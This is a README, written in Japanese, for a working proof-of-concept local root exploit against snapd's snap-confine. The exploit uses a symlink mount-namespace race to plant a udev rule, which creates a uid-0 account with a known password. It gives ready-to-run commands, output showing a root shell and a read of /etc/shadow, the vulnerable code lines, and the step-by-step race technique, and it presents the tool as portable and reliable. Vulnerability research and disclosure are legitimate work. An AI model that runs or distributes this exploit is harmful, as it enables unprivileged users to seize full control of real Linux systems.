snap-confine のマウント名前空間レース → ローカル root シェル動作する PoC。完全なローカル権限昇格をエンドツーエンドで再現。非特権ユーザー (uid 1000) から実際の uid-0 root シェルまで — パスワード不要、操作不要、既存の特権も不要。
非特権プロセスが set-capabilities された snap-confine を利用して、root 所有の udev ルールをホストの /run/udev/rules.d/ に書き込ませる。その後 systemd-udevd がそのルールの PROGRAM= ペイロードを root として 実行する。組み込みのペイロードは既知のパスワードを持つ uid-0 アカウントを作成するため、su - pwned (または ./_rootshell.py) で root シェルが得られる。
| コンポーネント | snap-confine → sc_replicate_base_rootfs() (_msc_273.c 内の snapd 2.73 ソース。テストしたホストは snapd 2.76.3 を実行しており、依然として悪用可能だった) |
| 分類 | ローカル権限昇格 (シンボリックリンクレース → /run/udev/** への任意の root 所有ファイル作成 → root としてのコード実行) |
| 結果 | 非特権アカウントからの uid=0(root) シェル |
| 信頼性 | 16 回の実行: 7 回が最初の試行で成功、残りは 2 回目の試行で成功。3 回以上を要したことはない |
| 移植性 | ホスト非依存: 対象の snap、アプリ名、cgroup スコープ、uid、snap-confine のパスはすべて実行時に検出される |
| root 権限 | 不要 (§9 を参照) |
目次
TL;DR · 1. クイックスタート · 2. 要件 · 3. 期待される出力 · 4. 脆弱性 · 5. レースに勝つ方法 · 6. ペイロード · 7. パッケージの内容 · 8. 設定 · 9. 権限とクリーンアップ · 10. 影響と修正 · トラブルシューティング · 参考文献 · 免責事項
cd <package dir>
bash _t18poc.sh 100% 12 # ~1–2 min, no password required
期待される出力(抜粋):
### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"
### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash
### 3. root shell
credentials: pwned / pwned (uid 0)
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
ドライバは自身の後始末を行います(ルール、ペイロード、仕込んだアカウント、スクラッチディレクトリとそのマウント)。KEEP=1 を指定するとアカウントが保持され、その後 root シェルを対話的に使用できます:
KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py # interactive root shell (password typed for you)
./_rootshell.py -c 'id' # one-shot command as root
su - pwned # or just this, password: pwned
cd <package dir>
./t18 info # optional: which snap is the target?
bash _t18poc.sh 100% 12 # quota, max attempts
_t18poc.sh [quota] [attempts] は t18 + _ftrig をビルドし、ターゲットを検出して、
勝利するまでエクスプロイトを実行し、udevd をトリガーし、root ペイロードを検証して
クリーンアップします。100% 12 は以下のすべての測定で使用された値です。0.3% 40
も機能します(より厳しいクォータで、試行回数が増えます)。
何かに触れる前に、ドライバーは自動検出されたターゲットを出力します:
target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope : snap.firefox.firefox.scope
snapd : 2.76.3
cgroup.freeze を操作します)、snap-confine が set-capabilities(cap_chown,cap_dac_override,cap_sys_admin,…)でインストールされていること — set-uid-root ではないこと、t18 と _ftrig をビルドするための gcc + libfuse3(pkg-config fuse3)、/snap/<snap>/current ディレクトリの最上位に 通常ファイル が含まれていること — この DT_REG エントリが脆弱な open() を実行させる原因となります(例: firefox、core22 など)。そのような snap であればどれでも動作します。SNAP=<name> で特定のものを強制できます。./t18 info は検出されたターゲットの snap、app、base、unit、scope、confine、およびエントリ数/通常ファイル数を表示して終了します — インストール済みの snap でホストがエクスプロイト可能かどうかを素早く確認する方法です。
[ 22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[ 22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[ 25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[ 35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[ 35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[ 35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[ 41.012] spinner: rule written into the root-owned file
[ 42.362] phase 2: 180 slices, win=1 (udev rule written)
[ 42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
/tmp/snap.rootfs_bTvhoA/default256.png: Permission denied
root権限で動作する snap-confine がホスト上で作成するファイル:
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"
およびそれが指し示すペイロードスクリプト(uid 1000 によって書き込まれ、systemd-udevd によって uid 0 として実行される):
-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root) <- /tmp/.pwned.root
snap-confine は直後に、同じエントリの AppArmor によって拒否されたバインドマウントで終了します — その時点でファイルはすでに作成され、内容が書き込まれています。
$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7::: <- /etc/shadow is root-only
$ ./_rootshell.py # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
研究から最終的な汎用ビルドに至るまで、_t18poc.sh を 16 回実行したところ、すべて LPE で終了しました(うち 7 回は最初の試行で成功し、残りは 2 回目の試行で成功)。2 回を超える試行を必要とした実行はありませんでした。各実行は自身の後片付け(ルール、ペイロード、仕込んだアカウント、スクラッチディレクトリとそのマウント)を行います。
snapd 2.73、sc_replicate_base_rootfs()(ソースは _msc_273.c):
511 if (mkdtemp(scratch_dir) == NULL) // /tmp/snap.rootfs_XXXXXX
523 sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
530 sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
535 sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
536 sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
362 if (chown(scratch_dir, 0, 0) < 0) die(...);
...
418 int fd = open(full_path, O_CREAT | O_TRUNC, 0644); // no O_NOFOLLOW
422 if (fchown(fd, 0, 0) < 0) die(...);
428 sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
snap-confine は set-capabilities (cap_chown、cap_dac_override、
cap_sys_admin、…) としてインストールされており、set-uid-root ではないため、
ほぼ root 相当のケーパビリティを持ちながら 非特権 の euid を保持します。その結果:
mkdtemp() は /tmp/snap.rootfs_XXXXXX を 攻撃者所有 で作成し
(511 行目と 362 行目の間)、さらにopen(full_path, O_CREAT|O_TRUNC, 0644) はシンボリックリンクを辿り
(O_NOFOLLOW なし)、生成されたファイルは 2 行後の fchown() まで
攻撃者の所有物となります。どちらのウィンドウも非特権のローカルユーザーによって悪用可能であり、この PoC が行っているのはまさにそれです。
SNAPD_DEBUG=1 + stderr 用の パイプ + ドレイナー子プロセス を用意し、
マーカー unsharing the mount namespace (per-snap) が現れた瞬間に
ユーザースコープの cgroup.freeze に cgroup.freeze=1 を書き込みます。
これにより snap-confine は mkdtemp() の 前 に約マイクロ秒の
レイテンシで凍結されます (ファイルのポーリングでは 50〜200 µs 遅すぎましたが、
パイプの read() は書き込み側のコンテキストで起床されます)。これでレースは
レースではなくなり、スコープは cgroup.freeze によって決定的に
ステップ実行されます (スライスあたり約 1 システムコール)。rmdir("/tmp/snap.rootfs_XXXXXX") (自分が所有している) を実行し、
symlink("/tmp/snap.rootfs_XXXXXX.dA", "/tmp/snap.rootfs_XXXXXX") を
作成します。mount(2) は ターゲットパス内のシンボリックリンクを辿る ため、
523/530/535 行目の MS_BIND/MS_UNBINDABLE/tmpfs マウントはすべて .dA に
対して行われ、一方で snap-confine の scratch_dir 文字列 は依然として
我々のシンボリックリンクを経由して解決されます。/proc/<pid>/mounts が mounts=2 tmpfs=1 squashfs=0 を示すまでスコープを
ステップ実行します — 535 行目の tmpfs がマウントされ、536 行目の
レプリケーションループはまだ実行されていません。unlink() し、.dB を指すように再作成します。.dB は
同じシンボリックリンクファームを持つものの tmpfs に覆われていない 2 番目の
ディレクトリです。これでループは scratch_dir/<entry> を .dB 内に
解決するようになります。fchown ウィンドウ内での書き込み)